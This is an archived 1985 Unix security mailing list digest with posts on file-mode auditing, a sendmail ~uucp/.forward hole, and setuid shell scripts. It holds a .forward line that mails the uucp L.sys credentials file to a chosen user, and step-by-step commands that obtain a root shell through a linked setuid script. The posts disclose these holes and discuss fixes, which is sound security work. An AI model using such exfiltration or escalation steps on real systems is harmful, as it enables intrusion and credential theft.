The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Unix 'Security Mailing List' - Archives (1984 - 1987)
DOCUMENT: Unix 'Security Mailing List' #3 1985-01-18 (1 file, 2961 bytes)
NOTICE: recognises the rights of all third-party works.


Date: 18 Jan 1985 1332-MST (Friday)
Subject: Security Mail List # 3

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Date: Mon, 7 Jan 85 10:42:32 pst
From: sun!boulder!shannon (Bill Shannon)
Subject: Re:  Security Mail List,  #2

So is someone going to explain why setgid is unsafe on 4.1 or
earlier systems?

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Date: Wed, 9 Jan 85 11:08:03 pst
From: Matt Bishop <ihnp4!riacs!mab>
Subject: file modes and UNIX security

This is in response to the message from nbires!ut-sally!harvard!rtm.

When I was at Purdue, we had something like that; we had a simple
database of the system files with unusual modes ("unusual" meaning
anything other than 755), and every night a crontab job would get
run.  This job checked the actual modes against the expected mode,
and if the two were not the same reset the actual mode and reported
the change.  I vaguely recall it also traversed the file system looking
for setuid programs (systm or otherwise) and reported all those not
on a list.  I don't remember who wrote it and I don't know if it's
still in use; you might check with Kevin Smallwood (,
...!decvax!pur-ee!purdue!kcs), the systems manager out there.  He
may be able to point you to something.

One more comment: while it is tempting to assume the internal security 
depends on the integrity of the file system, that's not completely true.
If your file system integrity is zilch, your system is insecure.  But
if your file system integrity is very high, you still may have little
or no security; many techniques of breaking into UNIX (and here I mean
obtaining a shell that runs with superuser privileges) do not depend on
the (lack of) integrity of the file system! Others rely on attributes
of files, but you cannot protect against them simply by ensuring a secure
file system.

Everything harvard!rtm said is quite true; just beware, it's by no means
enough (or even close to enough.)


(, ihnp4!ames!riacs!mab, decvax!decwrl!riacs!mab)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Date: Tue, 8 Jan 85 20:01:21 est
From: Russell J. Yount <ihnp4!cadre!ry>
Subject: 4.2 sendmail feature

Here's a 4.2 feature that I never had the nerve to post to the net.

	There a security bug in the way /usr/lib/sendmail forwards
mail via ~/.forward file. Either a forwarding address or a program
to pipe the received mail may be put in ~/.forward. But ~ for login
names such as uucp have /usr/spool/uucppublic. If one write a file
containing the commands: |"cat /usr/lib/uucp/L.sys | rmail username"
and copies it to ~uucp/.forward via uucp the next mail to a uucp login
will automatically mail a copy of that hosts L.sys to username. This will
work an a host or any directly connect uucp neighbor.
	The fix for this problem is to alises all uucp logins in
/usr/lib/aliases and make a directory ~uucp/.forward owned by root.

	Russell J. Yount
	Decision System Laboratory, University or Pittsburgh
	ry@cadre.ARPA, vax135!cadre!ry

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

From: ihnp4!sdcsvax!sdchema!jwp
Date: Thu, 10 Jan 85 22:38:07 pst
Subject: setuid/setgid shell scripts

A potentially severe security hole in 4.[12] and System V was recently found
at UCSD by Keith Muller (sdcc3!muller).  It is most easily explained by an
example from Arthur Olson (elsie!ado):

	Become root and use the following commands:

		( echo \#\! /bin/sh ; echo date ) > /tmp/sh.script
		( echo \#\! /bin/csh ; echo date ) > /tmp/csh.script
		chmod 4755 sh.script csh.script

	Now login as, for example, guest and use the following commands:

		cd /tmp
		ln sh.script -
		cat /usr/lib/uucp/L.sys

	and note that you've now got a super-user "sh" or "csh" on your hands.

This, of course, comes about because both "sh" and "csh" look at the name by
which they're invoked, assuming that they're a "login shell" -- and taking
input from the terminal -- if the name begins with a "-".

This is particularly insidious in 4.2 where you can do, e.g.:

	ln -s /tmp/csh.script ~/-

Keith, Arthur, and I agree that this is a problem, but it is a logical
consequence of the documented behavior of execve(2), the shells, and the
setuid/setgid modes, so it's probably not really correct to call it a "bug".  
This is a problem not only for root users but (worse?) for the "semi-neophyte"
who is earnestly trying to solve his own problems without bugging the system
programmers.  My boss is a good example:  he made a setuid script to allow
his secretary to print selected files for him; which, of course, inadvertently
blows away any possible security for the rest of his files.

Also note that there is another "problem" with set[ug]id csh scripts:  if
they start with "#! /bin/csh" they read the user's .cshrc with the script
owner's permissions.

The fixes to the shells are simple enough.  I have, I guess, three questions:

1)  How many of you knew about this before reading this (in the sense that
    you were actively aware of the specific problem, not just that you would
    have realized what was going to happen if somebody had asked about it)?
    I'm curious as to how widespread knowledge of this problem has been in
    the past.

2)  Do you consider this to really be a problem?  Give some thought to the
    vast number of essentially neophyte users out there, and to the fact that
    Ed Gould just pointed out in net.unix the virtues of using "#! /bin/csh"
    to create set[ug]id shell files.
3)  Should an explanation of the problem go to the net?  I can see arguments
    against it:  not all system administrators get/read news; there is no
    binary fix; there's no way of ensuring new sites get the information.  I
    think these are all legitimate, and there are probably others.

My current inclination is to do what Keith Muller did about the trojan horse
code in sendmail:  post a brief note saying there's a potential problem and
that I will respond to mail from root users with a more exact description.

				John Pierce, Chemistry, UC San Diego